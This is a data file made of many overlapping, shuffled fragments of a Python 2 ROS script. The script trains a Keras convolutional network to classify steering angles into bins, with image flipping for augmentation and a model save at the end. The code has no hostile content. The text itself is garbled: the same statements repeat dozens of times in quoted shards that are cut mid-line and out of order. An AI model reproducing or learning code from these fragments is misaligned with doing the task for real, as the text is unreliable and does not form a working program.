data.train if not isValidation:","48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x","not isValidation: for i in range(len(X)): if random.random() < 0.4: # 40% of","batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\", loss, \"| validation accuracy:\",","import numpy as np import rospy import keras from keras.models import Sequential from","len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \"total","categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f for f in","Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4,","X[i: i + batch_size] ys = labels[i: i + batch_size] yield (xs, ys)","[None] def defineCategory(steering): differences = [abs(steering - category) for category in categories] category","f) n_training_examples = 0 n_test_examples = 0 cnt = collections.Counter() for f in","ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed","example_set import ExampleSet from params import input_shape, expand_categories n_examples_to_load = 8000 # if","make_model(): model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3),","categories = [float(x) for x in categories] categories = expand_categories(categories) model = make_model()","output bins labels = np.array([defineCategory(ex.angle) for ex in D]) if not isValidation: for","model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories, n_examples_to_load,","MaxPooling2D, \\ GaussianNoise, BatchNormalization import cv2 import collections import random import time from","expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if","as np import rospy import keras from keras.models import Sequential from keras.layers import","1 if isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles)","Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization import cv2 import collections import random import","are flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in range(0,","= [abs(steering - category) for category in categories] category = np.argmin(differences) oneHot =","> 0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test","import ExampleSet from params import input_shape, expand_categories n_examples_to_load = 8000 # if the","if isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while","epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0:","more data batch_size = 16 categories = [None] def defineCategory(steering): differences = [abs(steering","[float(x) for x in categories] categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const","return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex","if random.random() < 0.4: # 40% of images are flipped X[i] = cv2.flip(X[i],","[] while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop()))","flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in range(0, len(X),","for i in range(len(X)): if random.random() < 0.4: # 40% of images are","0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if","+ batch_size] ys = labels[i: i + batch_size] yield (xs, ys) try: n_minibatches","== category else 0 for i in range(len(categories))] return oneHot def format_inputs(examples): data2","+= data.test if isValidation else data.train if not isValidation: random.shuffle(D) X = format_inputs(D)","numpy as np import rospy import keras from keras.models import Sequential from keras.layers","= 8000 # if the number of training examples is below this, load","ex in D]) if not isValidation: for i in range(len(X)): if random.random() <","acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\", loss, \"| validation accuracy:\", acc finally:","loss:\", loss, \"| validation accuracy:\", acc finally: model.save(model_path) print \"\\nsaved model to\", model_path","time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\")","len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D +=","model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35))","def defineCategory(steering): differences = [abs(steering - category) for category in categories] category =","in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = []","labels[i][::-1] for i in range(0, len(X), batch_size): xs = X[i: i + batch_size]","import input_shape, expand_categories n_examples_to_load = 8000 # if the number of training examples","x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6","n_training_examples = 0 n_test_examples = 0 cnt = collections.Counter() for f in exampleSetFiles_const:","labels = np.array([defineCategory(ex.angle) for ex in D]) if not isValidation: for i in","for category in categories] category = np.argmin(differences) oneHot = [1 if i ==","rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \") categories = [float(x) for x in categories] categories","= Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same'))","expand_categories n_examples_to_load = 8000 # if the number of training examples is below","if the number of training examples is below this, load more data batch_size","optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime =","data.train if not isValidation: random.shuffle(D) X = format_inputs(D) # create output bins labels","= rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \") categories","Dropout, Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization import cv2 import collections import random","cnt def batch_generator(isValidation = False): gen_epochs = 1 if isValidation else epochs for","= ex.get_image() data2 /= 255.0 return data2 def make_model(): model = Sequential() #","while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D","import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization import cv2 import collections","model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2)))","import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization","from params import input_shape, expand_categories n_examples_to_load = 8000 # if the number of","x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32","for i in range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape,","list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles) > 0","len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else","\"total training examples:\", n_training_examples print \"training label counts:\", cnt def batch_generator(isValidation = False):","= [float(x) for x in categories] categories = expand_categories(categories) model = make_model() model.summary()","epochs = int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \") categories = [float(x)","model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12","categories] categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f for f","and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation","D]) if not isValidation: for i in range(len(X)): if random.random() < 0.4: #","batch_generator(isValidation = False): gen_epochs = 1 if isValidation else epochs for epoch in","activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main():","# 40% of images are flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1]","for i in range(0, len(X), batch_size): xs = X[i: i + batch_size] ys","batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs,","n_training_examples print \"training label counts:\", cnt def batch_generator(isValidation = False): gen_epochs = 1","batch_size rospy.init_node(\"nn_training\") startTime = time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs =","Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization import cv2 import collections import random import time","os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples = 0 cnt =","categories = [None] def defineCategory(steering): differences = [abs(steering - category) for category in","3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu',","exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples =","- startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print","model_path = rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories","for x in categories] categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const =","data.test if isValidation else data.train if not isValidation: random.shuffle(D) X = format_inputs(D) #","len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles) > 0 and len(D) <","category else 0 for i in range(len(categories))] return oneHot def format_inputs(examples): data2 =","x in categories] categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f","= [] while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir,","/ batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\", loss, \"| validation","def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in enumerate(examples):","'.pkl.lz4' in f) n_training_examples = 0 n_test_examples = 0 cnt = collections.Counter() for","for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples =","+= 1 print \"total training examples:\", n_training_examples print \"training label counts:\", cnt def","/ batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed time:\", time.time() - startTime n_minibatches","counts:\", cnt def batch_generator(isValidation = False): gen_epochs = 1 if isValidation else epochs","\") categories = [float(x) for x in categories] categories = expand_categories(categories) model =","import cv2 import collections import random import time from example_set import ExampleSet from","range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = [] while","model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3,","import math import string import numpy as np import rospy import keras from","category) for category in categories] category = np.argmin(differences) oneHot = [1 if i","random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles) > 0 and","category = np.argmin(differences) oneHot = [1 if i == category else 0 for","batch_size = 16 categories = [None] def defineCategory(steering): differences = [abs(steering - category)","= format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle) for ex in D])","of training examples is below this, load more data batch_size = 16 categories","isValidation: random.shuffle(D) X = format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle) for","= X[i: i + batch_size] ys = labels[i: i + batch_size] yield (xs,","collections import random import time from example_set import ExampleSet from params import input_shape,","Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization import cv2 import collections import","training examples:\", n_training_examples print \"training label counts:\", cnt def batch_generator(isValidation = False): gen_epochs","from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise, BatchNormalization import cv2","ex.get_image() data2 /= 255.0 return data2 def make_model(): model = Sequential() # 128","import time from example_set import ExampleSet from params import input_shape, expand_categories n_examples_to_load =","model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\", loss, \"| validation accuracy:\", acc finally: model.save(model_path) print","exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for ex","input_shape, expand_categories n_examples_to_load = 8000 # if the number of training examples is","import os import math import string import numpy as np import rospy import","this, load more data batch_size = 16 categories = [None] def defineCategory(steering): differences","n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime = time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs","range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i,","main(): global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime = time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir","rospy.init_node(\"nn_training\") startTime = time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\"))","= [1 if i == category else 0 for i in range(len(categories))] return","= make_model() model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in","i, ex in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return data2 def","np.array([defineCategory(ex.angle) for ex in D]) if not isValidation: for i in range(len(X)): if","np.argmin(differences) oneHot = [1 if i == category else 0 for i in","+ input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i] = ex.get_image() data2 /=","print \"total training examples:\", n_training_examples print \"training label counts:\", cnt def batch_generator(isValidation =","= labels[i][::-1] for i in range(0, len(X), batch_size): xs = X[i: i +","i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \"total training examples:\", n_training_examples print \"training","4))) # 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) #","+= len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print","collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples","ExampleSet from params import input_shape, expand_categories n_examples_to_load = 8000 # if the number","in categories] categories = expand_categories(categories) model = make_model() model.summary() exampleSetFiles_const = tuple(f for","2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories),","i in range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32')","n_test_examples += len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1","labels[i: i + batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size))","params import input_shape, expand_categories n_examples_to_load = 8000 # if the number of training","i + batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(),","model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime = time.time() model_path =","= np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i] = ex.get_image()","try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed time:\",","steps=n_minibatches) print \"validation loss:\", loss, \"| validation accuracy:\", acc finally: model.save(model_path) print \"\\nsaved","cnt = collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples +=","= np.argmin(differences) oneHot = [1 if i == category else 0 for i","X = format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle) for ex in","= int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed time:\", time.time() -","from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\","return data2 def make_model(): model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape))","- category) for category in categories] category = np.argmin(differences) oneHot = [1 if","ex in enumerate(examples): data2[i] = ex.get_image() data2 /= 255.0 return data2 def make_model():","ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for ex in data.train: i","time from example_set import ExampleSet from params import input_shape, expand_categories n_examples_to_load = 8000","time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches)","= np.array([defineCategory(ex.angle) for ex in D]) if not isValidation: for i in range(len(X)):","(3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3, 3),","data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else data.train if not","data2 def make_model(): model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32,","if not isValidation: random.shuffle(D) X = format_inputs(D) # create output bins labels =","below this, load more data batch_size = 16 categories = [None] def defineCategory(steering):","images are flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in","\\ GaussianNoise, BatchNormalization import cv2 import collections import random import time from example_set","[abs(steering - category) for category in categories] category = np.argmin(differences) oneHot = [1","not isValidation: random.shuffle(D) X = format_inputs(D) # create output bins labels = np.array([defineCategory(ex.angle)","for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples +=","activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32,","bins labels = np.array([defineCategory(ex.angle) for ex in D]) if not isValidation: for i","= rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories =","batch_size] ys = labels[i: i + batch_size] yield (xs, ys) try: n_minibatches =","n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\",","int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \") categories = [float(x) for x","loss, acc = model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\", loss, \"| validation accuracy:\", acc","data2[i] = ex.get_image() data2 /= 255.0 return data2 def make_model(): model = Sequential()","def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime = time.time() model_path = rospy.get_param(\"~model_output_path\")","while len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles) > 0 and len(D)","for ex in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \"total training","global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime = time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir =","model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples","input_shape=input_shape)) model.add(Conv2D(32, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64,","16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy,","labels[i] = labels[i][::-1] for i in range(0, len(X), batch_size): xs = X[i: i","# create output bins labels = np.array([defineCategory(ex.angle) for ex in D]) if not","= tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0","# 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax'))","np import rospy import keras from keras.models import Sequential from keras.layers import Dense,","random import time from example_set import ExampleSet from params import input_shape, expand_categories n_examples_to_load","exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D = [] while len(exampleSetFiles)","= model.evaluate_generator(batch_generator(True), steps=n_minibatches) print \"validation loss:\", loss, \"| validation accuracy:\", acc finally: model.save(model_path)","of images are flipped X[i] = cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i","0 cnt = collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples","model = make_model() model.summary() exampleSetFiles_const = tuple(f for f in os.listdir(exampleSetDir) if '.pkl.lz4'","= 1 if isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const)","= collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train)","is below this, load more data batch_size = 16 categories = [None] def","cv2 import collections import random import time from example_set import ExampleSet from params","gen_epochs = 1 if isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles =","keras from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D,","(3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128,","n_examples_to_load: data = ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else data.train if","0.4: # 40% of images are flipped X[i] = cv2.flip(X[i], 1) labels[i] =","random.random() < 0.4: # 40% of images are flipped X[i] = cv2.flip(X[i], 1)","activation='relu', padding='same')) model.add(MaxPooling2D((4, 4))) # 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same'))","= False): gen_epochs = 1 if isValidation else epochs for epoch in range(gen_epochs):","data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \"total training examples:\", n_training_examples print","def batch_generator(isValidation = False): gen_epochs = 1 if isValidation else epochs for epoch","False): gen_epochs = 1 if isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles","categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime = time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\")","= labels[i: i + batch_size] yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) /","n_training_examples += len(data.train) n_test_examples += len(data.test) for ex in data.train: i = np.argmax(defineCategory(ex.angle))","startTime = time.time() model_path = rospy.get_param(\"~model_output_path\") exampleSetDir = rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories","data batch_size = 16 categories = [None] def defineCategory(steering): differences = [abs(steering -","> 0: D = [] while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load:","metrics=['accuracy']) return model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime = time.time()","GaussianNoise, BatchNormalization import cv2 import collections import random import time from example_set import","keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D, \\ GaussianNoise,","1) labels[i] = labels[i][::-1] for i in range(0, len(X), batch_size): xs = X[i:","in D]) if not isValidation: for i in range(len(X)): if random.random() < 0.4:","i in range(0, len(X), batch_size): xs = X[i: i + batch_size] ys =","print \"validation loss:\", loss, \"| validation accuracy:\", acc finally: model.save(model_path) print \"\\nsaved model","load more data batch_size = 16 categories = [None] def defineCategory(steering): differences =","else data.train if not isValidation: random.shuffle(D) X = format_inputs(D) # create output bins","activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global categories,","ExampleSet.load(os.path.join(exampleSetDir, exampleSetFiles.pop())) D += data.test if isValidation else data.train if not isValidation: random.shuffle(D)","else epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) >","string import numpy as np import rospy import keras from keras.models import Sequential","range(len(X)): if random.random() < 0.4: # 40% of images are flipped X[i] =","255.0 return data2 def make_model(): model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05,","[1 if i == category else 0 for i in range(len(categories))] return oneHot","= string.strip(categories).split(\" \") categories = [float(x) for x in categories] categories = expand_categories(categories)","3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16 x 6 model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu'))","yield (xs, ys) try: n_minibatches = int(math.ceil(float(n_training_examples) / batch_size)) model.fit_generator(batch_generator(), steps_per_epoch=n_minibatches, epochs=epochs, verbose=1)","model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model","= np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \"total training examples:\", n_training_examples print \"training label","create output bins labels = np.array([defineCategory(ex.angle) for ex in D]) if not isValidation:","oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in","8000 # if the number of training examples is below this, load more","isValidation else data.train if not isValidation: random.shuffle(D) X = format_inputs(D) # create output","16 categories = [None] def defineCategory(steering): differences = [abs(steering - category) for category","f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for ex in data.train: i =","in data.train: i = np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \"total training examples:\", n_training_examples","return model def main(): global categories, n_examples_to_load, batch_size rospy.init_node(\"nn_training\") startTime = time.time() model_path","in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f)) n_training_examples += len(data.train) n_test_examples += len(data.test) for","model.add(Flatten()) model.add(Dropout(0.25)) model.add(Dense(128, activation='relu')) model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return","steps_per_epoch=n_minibatches, epochs=epochs, verbose=1) print \"elapsed time:\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) /","epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles) > 0: D =","model.add(Dense(32, activation='relu')) model.add(Dropout(0.35)) model.add(Dense(len(categories), activation='softmax')) model.compile(loss=keras.losses.categorical_crossentropy, optimizer=keras.optimizers.Adadelta(), metrics=['accuracy']) return model def main(): global","verbose=1) print \"elapsed time:\", time.time() - startTime n_minibatches = int(math.ceil(float(n_test_examples) / batch_size)) loss,","0: D = [] while len(exampleSetFiles) > 0 and len(D) < n_examples_to_load: data","= 16 categories = [None] def defineCategory(steering): differences = [abs(steering - category) for","in range(len(X)): if random.random() < 0.4: # 40% of images are flipped X[i]","the number of training examples is below this, load more data batch_size =","def make_model(): model = Sequential() # 128 x 48 model.add(GaussianNoise(0.05, input_shape=input_shape)) model.add(Conv2D(32, (3,","defineCategory(steering): differences = [abs(steering - category) for category in categories] category = np.argmin(differences)","number of training examples is below this, load more data batch_size = 16","if i == category else 0 for i in range(len(categories))] return oneHot def","= cv2.flip(X[i], 1) labels[i] = labels[i][::-1] for i in range(0, len(X), batch_size): xs","for ex in D]) if not isValidation: for i in range(len(X)): if random.random()","= 0 cnt = collections.Counter() for f in exampleSetFiles_const: data = ExampleSet.load(os.path.join(exampleSetDir, f))","in os.listdir(exampleSetDir) if '.pkl.lz4' in f) n_training_examples = 0 n_test_examples = 0 cnt","import random import time from example_set import ExampleSet from params import input_shape, expand_categories","data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for i, ex in enumerate(examples): data2[i] =","i == category else 0 for i in range(len(categories))] return oneHot def format_inputs(examples):","data2 /= 255.0 return data2 def make_model(): model = Sequential() # 128 x","print \"training label counts:\", cnt def batch_generator(isValidation = False): gen_epochs = 1 if","isValidation else epochs for epoch in range(gen_epochs): exampleSetFiles = list(exampleSetFiles_const) random.shuffle(exampleSetFiles) while len(exampleSetFiles)","in range(len(categories))] return oneHot def format_inputs(examples): data2 = np.zeros((len(examples),) + input_shape, dtype='float32') for","rospy.get_param(\"~example_set_dir\") epochs = int(rospy.get_param(\"~epochs\")) categories = rospy.get_param(\"~positive_nonzero_categories\") categories = string.strip(categories).split(\" \") categories =","np.argmax(defineCategory(ex.angle)) cnt[i] += 1 print \"total training examples:\", n_training_examples print \"training label counts:\",","# 32 x 12 model.add(Conv2D(64, (3, 3), activation='relu', padding='same')) model.add(MaxPooling2D((2, 2))) # 16","# if the number of training 